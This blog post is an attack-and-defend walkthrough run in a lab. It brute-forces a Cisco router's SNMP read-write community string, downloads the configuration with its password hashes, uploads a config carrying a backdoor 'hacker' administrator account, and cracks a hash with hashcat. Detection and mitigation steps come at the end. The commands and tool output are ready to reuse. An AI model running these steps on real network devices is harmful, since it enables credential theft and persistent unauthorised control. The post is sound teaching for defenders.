• Skip to main content
  • Skip to footer

Andrew Roderos

Networking and Security

  • Blog
  • Resources
    • Book List
    • Freebies
  • About
  • Contact

Attacking Cisco IOS device

01/31/2022 by Andrew Roderos Leave a Comment

  • Share on Twitter Share on Twitter
  • Share on Facebook Share on Facebook
  • Share on LinkedIn Share on LinkedIn
  • Share on Reddit Share on Reddit
  • Share via Email Share via Email

Cisco IOS-related CVEs get announced consistently, but we will not be exploring any of those in this article. I will, however, demonstrate that attacking a Cisco IOS device is possible with SNMP misconfiguration. If interested, I covered another attack on a Cisco IOS device running HSRP here.

I included this exercise on our Paradise Lost: Red Team versus Blue Team event during our CyberFest 2021. Unfortunately, only the blue team members touched this node. The red team focused on Windows, for the most part. Though, they managed to break into some Linux hosts as well.

It is the same festival where our Information Security Office (ISO) decided to hold their first internal Capture the Flag (CTF) event. If you are interested, I talked about my CTF experience here.

What is SNMP?

Simple Network Management Protocol (SNMP) is a widely used application layer protocol for device monitoring and management. IT professionals use it to get statistics like CPU utilization, temperature, fans, etc.

SNMP has become the de facto standard for network management because it is simple, easy to implement, and supported by nearly all vendors.

While there have been many iterations since inception, there are two versions that most organizations use today: version 2c and 3. The main difference between the two falls under security. Version 3 introduced strong authentication and data encryption.

Access modes

Cisco IOS provides two SNMP access modes: read-only (RO) and read-write (RW). As the name implies, read-only allows the SNMP manager, like Network Management System (NMS), to only retrieve information from the SNMP client, like Cisco router.

The read-write access mode allows the SNMP manager to retrieve information and set a variable or trigger an action on a managed device. While there are use cases to send configuration changes on a managed device via SNMP, it poses a potential vulnerability when this access mode is enabled. With that said, most, if not all, network engineers set their SNMP configuration to read-only.

Configuration

Authors of Cisco certification-focused books inform the readers of the dangers of enabling read-write access mode. That said, network engineers tend to avoid configuring it at all costs. There might be some unique use cases that they will consider read-write, but that is not very common.

While reading about the dangers of read-write is enough from a defender’s perspective, I have always wondered how adversaries perform the attacks. However, I was never curious enough at the time to look it up. Since I got exposed to OffSec in 2020 and have taken offensive security-related certifications, I have developed a curiosity and have a pretty good idea of how to perform them.

Related: Passed eJPT

Without further ado, let’s take a closer look at performing an attack on a Cisco router running SNMP with read-write access mode. To configure the Cisco IOS device to run as an SNMP client, issue the command, as shown below.

awa# conf t
Enter configuration commands, one per line.  End with CNTL/Z.
awa(config)# snmp-server community zxcvbn RW
awa(config)# end
awa# wr mem

Reconnaissance

Our adversaries can only launch an attack on our Cisco device if they know the SNMP community string. The community string in SNMP v1 and 2c serves as an authentication, thus must be treated as a password.

Adversaries could use dictionary attacks to obtain the SNMP community string. The problem with dictionary attacks is that it is loud. That means it can potentially trigger an alert.

Our adversaries have several tools that they can use to perform SNMP dictionary attacks during this active reconnaissance phase. We will look at a few of these tools available in Kali Linux.

The first step is to verify that the target Cisco IOS device runs SNMP. It can be as simple as running a Nmap scan, as shown below.

andrew@kali:~$ sudo nmap -sUV -p 161 172.20.27.254
andrew@kali:~$ sudo nmap -sUV -p 161 172.20.27.254
[sudo] password for andrew: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:58 PST
Nmap scan report for 172.20.27.254
Host is up (0.0087s latency).
PORT    STATE SERVICE VERSION
161/udp open  snmp    Cisco SNMP service; ciscoSystems SNMPv3 server
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.45 seconds

After verifying that the target is running SNMP, the next step is to launch a dictionary attack. We will explore multiple tools to perform this attack.

Nmap

Nmap has a built-in script that adversaries can use for the dictionary attack. If you are a Nmap user, you may have noticed it is a very slow tool in pretty much anything you perform. In this case, it took around 10 minutes to finish the dictionary attack.

andrew@kali:~$ sudo nmap -sU -p 161 --script=snmp-brute 172.20.27.254 --script-args snmp-brute.communitiesdb=/usr/share/wordlists/rockyou.txt
andrew@kali:~$ sudo nmap -sU -p 161 --script=snmp-brute 172.20.27.254 --script-args snmp-brute.communitiesdb=/usr/share/wordlists/rockyou.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 16:23 PST
NSE: [snmp-brute] communities: Time limit 10m00s exceeded.
Nmap scan report for 172.20.27.254
Host is up (0.0071s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute: 
|_  zxcvbn - Valid credentials
Nmap done: 1 IP address (1 host up) scanned in 614.05 seconds

Onesixtyone

Another scanner tool built-in to Kali is called Onesixtyone. This tool is faster than Nmap, as you can see below. Both of the tools accomplish the same thing from the dictionary attack standpoint.

andrew@kali:~$ time onesixtyone -c /usr/share/wordlists/rockyou.txt 172.20.27.254
andrew@kali:~$ time onesixtyone -c /usr/share/wordlists/rockyou.txt 172.20.27.254
Scanning 1 hosts, 16384 communities
172.20.27.254 [zxcvbn] Cisco IOS Software, CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(2)S3, RELEASE SOFTWARE (fc2)  Technical Support: http://www.cisco.com/techsupport  Copyright (c) 1986-2015 by Cisco Systems, Inc.  Compiled Wed 01-Apr-15 09:27 by mcpre
real	2m50.969s
user	0m0.098s
sys	0m0.431s

As you can see, this tool finished in about two minutes compared to Nmap’s 10-minute processing.

Hydra

Hydra is another tool that can perform a dictionary attack, also available in Kali. I have used Hydra for a few dictionary attacks in the past. If interested, I covered it here and here.

andrew@kali:~$ time hydra -P /usr/share/wordlists/seclists snmp://172.20.27.254 -v -f
andrew@kali:~$ time hydra -P /usr/share/wordlists/rockyou.txt snmp://172.20.27.254 -v -f
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-29 16:28:53
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking snmp://172.20.27.254:161/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[STATUS] 128.00 tries/min, 128 tries in 00:01h, 14344271 to do in 1867:45h, 16 active
[STATUS] 122.67 tries/min, 368 tries in 00:03h, 14344031 to do in 1948:56h, 16 active
[161][snmp] host: 172.20.27.254   password: zxcvbn
[STATUS] attack finished for 172.20.27.254 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-29 16:35:34
real    6m41.625s
user    0m0.968s
sys    0m0.264s

More tools

There are other tools available, like the Metasploit snmp_login module and Medusa. However, it seems that Onesixtyone is the fastest during my testing.

Detection

By default, Cisco IOS does not log this authentication failure. That said, there is no visibility for network engineers to detect this attack. Lack of log might not be a big deal for environments that have knowledgeable network engineers. It is because there is a way to mitigate or prevent this attack. More on that later.

Even though mitigation is available, adding the configuration to detect such attacks may still be a good practice. Some security professionals could argue that adversaries can compromise trusted hosts. Such hypothetical scenarios sometimes spark an argument between network and security professionals. But I digress.

To force the Cisco IOS device to log SNMP authentication failures, issue the command as shown below.

awa#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
awa(config)#logging snmp-authfail 
Logging of %SNMP-3-AUTHFAIL is enabled

When the Cisco IOS device detects SNMP authentication failure, a message will show up in the logs, as shown below.

Jan 29 17:55:28.659: %SNMP-3-AUTHFAIL: Authentication failure for SNMP req from host 10.11.11.3

Exploitation

The most evident attack that an adversary can perform is to change the device’s configuration. While it is understandable to take that approach, it might alert the networking team about the security breach. Of course, it will depend on the configuration changes and how good the monitoring is. Being undetected is usually adversaries’ goal, but it depends on their motivation.

Say, for example, if our adversaries want to cause a denial of service (DoS) attack, then they can choose to clear a device’s configuration. However, if our adversaries require persistence in the environment, then changing a line or a few on the config would be something they could do. In some cases, they may not need to.

Downloading configuration

Let’s explore how our adversaries can maintain persistence in our environment. First, they need to download the current device’s configuration. There are multiple tools that they can use to accomplish this task. We will explore some of them here.

Nmap

The trusty Nmap tool has a built-in script that one can use to download the device’s configuration. To download the device’s config, issue the command below.

andrew@kali:~$ sudo nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=zxcvbn 172.20.27.254
andrew@kali:~$ sudo nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=zxcvbn 172.20.27.254
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 17:47 PST
Nmap scan report for 172.20.27.254
Host is up (0.0050s latency).
PORT    STATE SERVICE
161/udp open  snmp
| snmp-ios-config: 
| !
| ! Last configuration change at 08:07:48 PDT Tue Oct 19 2021 by administrator
| ! NVRAM config last updated at 08:10:33 PDT Tue Oct 19 2021 by administrator
| !
| version 15.4
| service timestamps debug datetime msec
| service timestamps log datetime msec
| no platform punt-keepalive disable-kernel-core
| platform console virtual
| !
| hostname awa
| !
| boot-start-marker
| boot-end-marker
| !
| !
| enable secret 5 $1$DtMQ$FwnZj7ojDvj8wrFbwtfED/
| !
| no aaa new-model
| clock timezone PST -8 0
| clock summer-time PDT recurring
| !
| !
| !
| !
| !
| !
| !
| !
| !
| 
| 
| ip domain name longboard.local
| 
| !
| !
| !
| !
| !
| !
| !
| !
| !
| !
| subscriber templating
| multilink bundle-name authenticated
| !
| key chain hsrp
|  key 1
|    key-string 7 130616060A000D242A
| !
| !
| license udi pid CSR1000V sn 9FETLHPNAEM
| !
| username administrator privilege 15 secret 5 $1$6Q3.$4AjrZn6l/hRkyr0okteEP/
| username cisco privilege 15 secret 5 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl.
| !
| redundancy
|  mode none
| !
| !
| !
| ip ssh version 2
| ip scp server enable
| !
| !
| !
| !
| interface GigabitEthernet1
|  ip address 192.168.1.254 255.255.255.0 secondary
|  ip address 172.20.27.254 255.255.255.0
|  standby 1 ip 172.20.27.253
|  standby 1 authentication md5 key-chain hsrp
|  standby 2 ip 192.168.1.253 secondary
|  standby 2 authentication md5 key-string 7 06571F205E4F0D101612
|  negotiation auto
| !
| interface GigabitEthernet2
|  ip address 172.20.80.1 255.255.255.0
|  negotiation auto
| !
| !
| virtual-service csr_mgmt
| !
| ip forward-protocol nd
| !
| ip http server
| ip http authentication local
| ip http secure-server
| ip route 0.0.0.0 0.0.0.0 172.20.27.1
| !
| logging host 172.20.27.62
| !
| snmp-server community zxcvbn RW
| !
| !
| control-plane
| !
| !
| line con 0
|  stopbits 1
| line vty 0
|  password 7 0013164B05490E4B1B2949030A11041A0202030A39
|  login
|  transport input telnet
| line vty 1
|  login local
|  length 0
|  transport input ssh
| line vty 2 4
|  login local
|  transport input ssh
| line vty 5 98
|  login local
|  transport input ssh
| !
| ntp source GigabitEthernet1
| ntp master 1
| ntp server 172.20.27.39
| !
|_end
Nmap done: 1 IP address (1 host up) scanned in 5.56 seconds

Copy-Router-Config

Another tool available in Kali is the Copy-Router-Config by Offensive Security. The tool requires a TFTP service running on a machine to download the device’s configuration.

By default, Kali Linux does not have a TFTP server installed. I used Metasploit to launch a TFTP service to avoid installing one. Since the TFTP service uses well-known ports, you must include sudo before launching Metasploit.

andrew@kali~:$ sudo msfconsole -q
andrew@kali:~$ sudo msfconsole -q
msf6 > use auxiliary/server/tftp
msf6 auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp

Once the TFTP service is up and running, you can now use the Copy-Router-Config tool to download the device’s configuration.

andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... OK
andrew@kali:~$ cat /tmp/pwnd-router.config 
!
! Last configuration change at 08:07:48 PDT Tue Oct 19 2021 by administrator
! NVRAM config last updated at 08:10:33 PDT Tue Oct 19 2021 by administrator
!
version 15.4
service timestamps debug datetime msec
service timestamps log datetime msec
no platform punt-keepalive disable-kernel-core
platform console virtual
!
hostname awa
!
boot-start-marker
boot-end-marker
!
!
enable secret 5 $1$DtMQ$FwnZj7ojDvj8wrFbwtfED/
!
no aaa new-model
clock timezone PST -8 0
clock summer-time PDT recurring
!
!
!
!
!
!
!
!
!
ip domain name longboard.local
!
!
!
!
!
!
!
!
!
!
subscriber templating
multilink bundle-name authenticated
!
key chain hsrp
 key 1
   key-string 7 130616060A000D242A
!
!
license udi pid CSR1000V sn 9FETLHPNAEM
!
username administrator privilege 15 secret 5 $1$6Q3.$4AjrZn6l/hRkyr0okteEP/
username cisco privilege 15 secret 5 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl.
!
redundancy
 mode none
!
!
!
ip ssh version 2
ip scp server enable
!
!
!
!
interface GigabitEthernet1
 ip address 192.168.1.254 255.255.255.0 secondary
 ip address 172.20.27.254 255.255.255.0
 standby 1 ip 172.20.27.253
 standby 1 authentication md5 key-chain hsrp
 standby 2 ip 192.168.1.253 secondary
 standby 2 authentication md5 key-string 7 06571F205E4F0D101612
 negotiation auto
!
interface GigabitEthernet2
 ip address 172.20.80.1 255.255.255.0
 negotiation auto
!
!
virtual-service csr_mgmt
!
ip forward-protocol nd
!
ip http server
ip http authentication local
ip http secure-server
ip route 0.0.0.0 0.0.0.0 172.20.27.1
!
logging host 172.20.27.62
!
snmp-server community zxcvbn RW
!
!
control-plane
!
!
line con 0
 stopbits 1
line vty 0
 password 7 0013164B05490E4B1B2949030A11041A0202030A39
 login
 transport input telnet
line vty 1
 login local
 length 0
 transport input ssh
line vty 2 4
 login local
 transport input ssh
line vty 5 98
 login local
 transport input ssh
!
ntp source GigabitEthernet1
ntp master 1
ntp server 172.20.27.39
!
end

Metasploit

Metasploit has a lot of modules, so it was not a surprise to see that it has one to download the configuration. We need to follow two steps to download our target’s config.

The first step is to launch Metasploit. Since it requires a TFTP service, we need to run it as root.

andrew@kali:~$ sudo msfconsole -q
andrew@kali:~$ sudo msfconsole -q
msf6 > 

Then, select, configure, and run the Cisco IOS SNMP Configuration Grabber module.

msf6 > use auxiliary/scanner/snmp/cisco_config_tftp
msf6 > use auxiliary/scanner/snmp/cisco_config_tftp
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set community zxcvbn
community => zxcvbn
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set rhost 172.20.27.254
rhost => 172.20.27.254
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > set outputdir /home/andrew
outputdir => /home/andrew
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > run
[*] Starting TFTP server...
[*] Scanning for vulnerable targets...
[*] Trying to acquire configuration from 172.20.27.254...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Incoming file from 172.20.27.254 - 172.20.27.254.txt 3593 bytes
[*] Saved configuration file to /home/andrew/172.20.27.254.txt
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed

Once Metasploit is done copying the configuration, we can now display the file.

msf6 auxiliary(scanner/snmp/cisco_config_tftp) > cat 172.20.27.254.txt
msf6 auxiliary(scanner/snmp/cisco_config_tftp) > cat 172.20.27.254.txt
[*] exec: cat 172.20.27.254.txt
!
! Last configuration change at 08:07:48 PDT Tue Oct 19 2021 by administrator
! NVRAM config last updated at 08:10:33 PDT Tue Oct 19 2021 by administrator
!
version 15.4
service timestamps debug datetime msec
service timestamps log datetime msec
no platform punt-keepalive disable-kernel-core
platform console virtual
!
hostname awa
!
boot-start-marker
boot-end-marker
!
!
enable secret 5 $1$DtMQ$FwnZj7ojDvj8wrFbwtfED/
!
no aaa new-model
clock timezone PST -8 0
clock summer-time PDT recurring
!
!
!
!
!
!
!
!
!
ip domain name longboard.local
!
!
!
!
!
!
!
!
!
!
subscriber templating
multilink bundle-name authenticated
!
key chain hsrp
 key 1
   key-string 7 130616060A000D242A
!
!
license udi pid CSR1000V sn 9FETLHPNAEM
!
username administrator privilege 15 secret 5 $1$6Q3.$4AjrZn6l/hRkyr0okteEP/
username cisco privilege 15 secret 5 $1$Jxkf$ieb7OASwfbcfSKDOrrXvl.
!
redundancy
 mode none
!
!
!
ip ssh version 2
ip scp server enable
!
!
!
!
interface GigabitEthernet1
 ip address 192.168.1.254 255.255.255.0 secondary
 ip address 172.20.27.254 255.255.255.0
 standby 1 ip 172.20.27.253
 standby 1 authentication md5 key-chain hsrp
 standby 2 ip 192.168.1.253 secondary
 standby 2 authentication md5 key-string 7 06571F205E4F0D101612
 negotiation auto
!
interface GigabitEthernet2
 ip address 172.20.80.1 255.255.255.0
 negotiation auto
!
!
virtual-service csr_mgmt
!
ip forward-protocol nd
!
ip http server
ip http authentication local
ip http secure-server
ip route 0.0.0.0 0.0.0.0 172.20.27.1
!
logging host 172.20.27.62
!
snmp-server community zxcvbn RW
!
!
control-plane
!
!
line con 0
 stopbits 1
line vty 0
 password 7 0013164B05490E4B1B2949030A11041A0202030A39
 login
 transport input telnet
line vty 1
 login local
 length 0
 transport input ssh
line vty 2 4
 login local
 transport input ssh
line vty 5 98
 login local
 transport input ssh
!
ntp source GigabitEthernet1
ntp master 1
ntp server 172.20.27.39
!
end

Do you find this content useful? If so, consider buying me a coffee! ☕



Uploading configuration

With the configuration file downloaded, adversaries can insert anything they want and upload the file back to the target device. For example, they can add an account to maintain persistence. Depending on the device’s configuration, they may also need to change the authentication order to allow local accounts. In this scenario, we are only using a local account database.

Since the device uses the local account database, our adversaries will only need to issue a line of code. Before modifying the configuration file, they need to prepare a salted MD5 hash for the account. They can do this using the OpenSSL tool, as shown below.

andrew@kali:~$ openssl passwd -salt `openssl rand -base64 3` -1 "password"
$1$XgcT$gJE82eLsJkIAnuR3w.MeV/

Merge-Router-Config

Once they have the MD5 hash, they can edit the file using their favorite text editor to insert the configuration below.

andrew@kali:~$ grep hacker /tmp/pwnd-router.config
username hacker privilege 15 secret 5 $1$XgcT$gJE82eLsJkIAnuR3w.MeV/

Then, they can use the Merge-Router-Config tool to upload the modified configuration. It is essentially the partner of the Copy-Router-Config we saw earlier.

This tool requires a TFTP server to upload the configuration to the target device. We will use Metasploit again in this example to avoid installing a TFTP server package.

andrew@kali:~$ sudo msfconsole -q
andrew@kali:~$ sudo msfconsole -q
msf6 > use auxiliary/server/tftp
msf6 auxiliary(server/tftp) > run
[*] Auxiliary module running as background job 0.
[*] Starting TFTP server on 0.0.0.0:69...
[*] Files will be served from /tmp
[*] Uploaded files will be saved in /tmp
msf6 auxiliary(server/tftp) > 

Once the TFTP service is up and running, they can now upload the configuration using Merge-Router-Config, as shown below.

andrew@kali:~$ merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... OK

Now, we can use the account that we added to the configuration to log into the target device.

andrew@kali:~$ ssh hacker@172.20.27.254
andrew@kali:~$ ssh hacker@172.20.27.254
                               _ 
                              | |
  _ ____      ___ __   ___  __| |
 | '_ \ \ /\ / / '_ \ / _ \/ _` |
 | |_) \ V  V /| | | |  __/ (_| |
 | .__/ \_/\_/ |_|_|_|\___|\__,_|
 | |             | |             
 |_|__ ___  _   _| |_ ___ _ __   
 | '__/ _ \| | | | __/ _ \ '__|  
 | | | (_) | |_| | ||  __/ |     
 |_|  \___/ \__,_|\__\___|_|     
(hacker@172.20.27.254) Password: 
awa#sh run | i hacker
username hacker privilege 15 secret 5 $1$XgcT$gJE82eLsJkIAnuR3w.MeV/
awa#

Note

The original device configuration did not have the login banner, but I added it to show we compromised it.

Metasploit

You guessed it! Metasploit also has a partner module for the Cisco IOS SNMP Configuration Grabber called Cisco IOS SNMP File Upload. Essentially, the steps are similar to Merge-Router-Config.

The first thing to do is edit the configuration file with the desired changes.

andrew@kali:~$ grep hacker 172.20.27.254.txt
andrew@kali:~$ grep hacker 172.20.27.254.txt 
username hacker privilege 15 secret 5 $1$XgcT$gJE82eLsJkIAnuR3w.MeV/

Then the last step is to select and configure the Cisco IOS SNMP File Upload module.

msf6 auxiliary(server/tftp) > use auxiliary/scanner/snmp/cisco_upload_file
msf6 auxiliary(server/tftp) > use auxiliary/scanner/snmp/cisco_upload_file
msf6 auxiliary(scanner/snmp/cisco_upload_file) > set community zxcvbn
community => zxcvbn
msf6 auxiliary(scanner/snmp/cisco_upload_file) > set lhost 10.11.11.4
lhost => 10.11.11.4
msf6 auxiliary(scanner/snmp/cisco_upload_file) > set rhost 172.20.27.254
rhost => 172.20.27.254
msf6 auxiliary(scanner/snmp/cisco_upload_file) > set source /home/andrew/172.20.27.254.txt
source => /home/andrew/172.20.27.254.txt
msf6 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config
action => Override_Config
msf6 auxiliary(scanner/snmp/cisco_upload_file) > run
[*] Starting TFTP server...
[*] Copying file 172.20.27.254.txt to 172.20.27.254...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed

Other tool

The snmpset command is another useful tool to upload the configuration. However, it is not as easy as the tools covered above. But, if you would like to take it to a spin, try using this Cisco guide. You can also read up on Cisco’s MIB. Additionally, you can capture the packets as you download the device’s configuration using Nmap. From there, you can match it up using the documentation.

andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254
andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
22:48:56.498086 IP 10.11.11.4 > 172.20.27.254: ICMP echo request, id 34561, seq 0, length 8
22:48:56.498139 IP 10.11.11.4.43320 > 172.20.27.254.443: Flags [S], seq 3767667122, win 1024, options [mss 1460], length 0
22:48:56.498189 IP 10.11.11.4.43320 > 172.20.27.254.80: Flags [.], ack 3767667122, win 1024, length 0
22:48:56.498218 IP 10.11.11.4 > 172.20.27.254: ICMP time stamp query id 39307 seq 0, length 20
22:48:56.507234 IP 172.20.27.254 > 10.11.11.4: ICMP time stamp reply id 39307 seq 0: org 00:00:00.000, recv 06:55:31.591, xmit 06:55:31.591, length 20
22:48:56.515397 IP 10.11.11.4.43576 > 172.20.27.254.161:  F=r U="" E= C="" GetRequest(12) 
22:48:56.515438 IP 10.11.11.4.43576 > 172.20.27.254.161:  GetNextRequest(18)  .0.0
22:48:56.522226 IP 172.20.27.254.161 > 10.11.11.4.43576:  F= U="" E=_80_00_00_09_03_00_86_dc_e7_24_d3_87 C="" Report(29)  .1.3.6.1.6.3.15.1.1.4.0=1
22:48:56.522246 IP 10.11.11.4 > 172.20.27.254: ICMP 10.11.11.4 udp port 43576 unreachable, length 139
22:48:56.522705 IP 10.11.11.4.59743 > 172.20.27.254.161:  C="zxcvbn" SetRequest(35)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999=1
22:48:56.528268 IP 172.20.27.254.161 > 10.11.11.4.59743:  C="zxcvbn" GetResponse(35)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999=1
22:48:56.528385 IP 10.11.11.4.59743 > 172.20.27.254.161:  C="zxcvbn" SetRequest(34)  .1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999=4
22:48:56.532065 IP 172.20.27.254.161 > 10.11.11.4.59743:  C="zxcvbn" GetResponse(34)  .1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999=4
22:48:56.532164 IP 10.11.11.4.59743 > 172.20.27.254.161:  C="zxcvbn" SetRequest(34)  .1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999=1
22:48:56.537058 IP 172.20.27.254.161 > 10.11.11.4.59743:  C="zxcvbn" GetResponse(34)  .1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999=1
22:48:56.537174 IP 10.11.11.4.59743 > 172.20.27.254.161:  C="zxcvbn" SetRequest(49)  .1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999=[len16

Password cracking

While modifying the configuration on the target Cisco IOS device works, it may trigger an alert to the SOC or networking team. Of course, it assumes that someone in the organization implemented it.

Related: Securing Cisco IOS passwords

Another way that our adversaries could maintain some level of persistence is by cracking the passwords, which I covered here. The disadvantage of cracking passwords is that there is no guarantee that it will be successful. In this case, using the RockYou wordlist was successful.

andrew@kali~:$ hashcat -m 500 -a 0 '$1$Jxkf$ieb7OASwfbcfSKDOrrXvl.' /usr/share/wordlists/rockyou.txt
andrew@kali:~$ hashcat -m 500 -a 0 '$1$Jxkf$ieb7OASwfbcfSKDOrrXvl.' /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting
OpenCL API (OpenCL 2.0 pocl 1.8  Linux, None+Asserts, RELOC, LLVM 11.1.0, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=====================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-10710U CPU @ 1.10GHz, 1441/2947 MB (512 MB allocatable), 1MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$Jxkf$ieb7OASwfbcfSKDOrrXvl.:catalina
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5))
Hash.Target......: $1$Jxkf$ieb7OASwfbcfSKDOrrXvl.
Time.Started.....: Sat Jan 29 18:35:58 2022 (1 sec)
Time.Estimated...: Sat Jan 29 18:35:59 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     2334 H/s (9.85ms) @ Accel:64 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1024/14344385 (0.01%)
Rejected.........: 0/1024 (0.00%)
Restore.Point....: 960/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1000
Candidate.Engine.: Device Generator
Candidates.#1....: marie1 -> bethany
Hardware.Mon.#1..: Util:100%
Started: Sat Jan 29 15:35:56 2022
Stopped: Sat Jan 29 15:36:01 2022

Mitigation

Fortunately, Cisco IOS has configuration parameters to mitigate this attack. Two Cisco IOS configuration lines can mitigate this attack. One of them is what I have seen in Cisco Press books. The other, I never saw it on any of the Cisco Press books I have read.

SNMP TFTP ACL

Let’s explore the one I had not seen in Cisco Press books. The snmp-server tftp-server-list allows the user to apply an access control list (ACL) to the SNMP TFTP server tasks. It includes downloading and uploading the configuration file to the device.

As we have seen earlier, all the tools used the TFTP server to download and upload. Applying an ACL restricts specific hosts that can perform these tasks.

To configure the SNMP TFTP ACL, please issue the commands listed below.

awa# conf t
awa#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
awa(config)#access-list 1 permit host 10.11.11.1
awa(config)#snmp-server tftp-server-list 1
awa(config)#end
awa#wr
Building configuration...
[OK]

With the ACL applied, both copy-router-config and merge-router-config failed to complete the task.

andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
andrew@kali:~$ copy-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn; merge-router-config.pl 172.20.27.254 10.11.11.4 zxcvbn
10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/copy-router-config.pl line 34.
10.11.11.4:pwnd-router.config -> 172.20.27.254:running-config... No response from remote host "172.20.27.254" at /usr/bin/merge-router-config.pl line 32.

SNMP community string ACL

As previously mentioned, this is the one that most authors discussed in Cisco Press books, and for a good reason. It is, after all, best practice to apply ACL to the community strings.

The main difference between this and the previous configuration is how the Cisco IOS device handles the request. With the community string ACL, the Cisco IOS device will not respond to requests from hosts not part of the list. If you take a look at the packet capture below, the target Cisco IOS router did not respond at all.

andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254
andrew@kali:~$ sudo tcpdump -nni tun0 host 172.20.27.254
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:40:05.731523 IP 10.11.11.4.51146 > 172.20.27.254.161:  C="zxcvbn" SetRequest(179)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.3388843=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.3388843=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.3388843="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.3388843=4
23:40:07.734179 IP 10.11.11.4.51146 > 172.20.27.254.161:  C="zxcvbn" SetRequest(179)  .1.3.6.1.4.1.9.9.96.1.1.1.1.2.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.3.3388843=4 .1.3.6.1.4.1.9.9.96.1.1.1.1.4.3388843=1 .1.3.6.1.4.1.9.9.96.1.1.1.1.5.3388843=10.11.11.4 .1.3.6.1.4.1.9.9.96.1.1.1.1.6.3388843="pwnd-router.config" .1.3.6.1.4.1.9.9.96.1.1.1.1.14.3388843=4
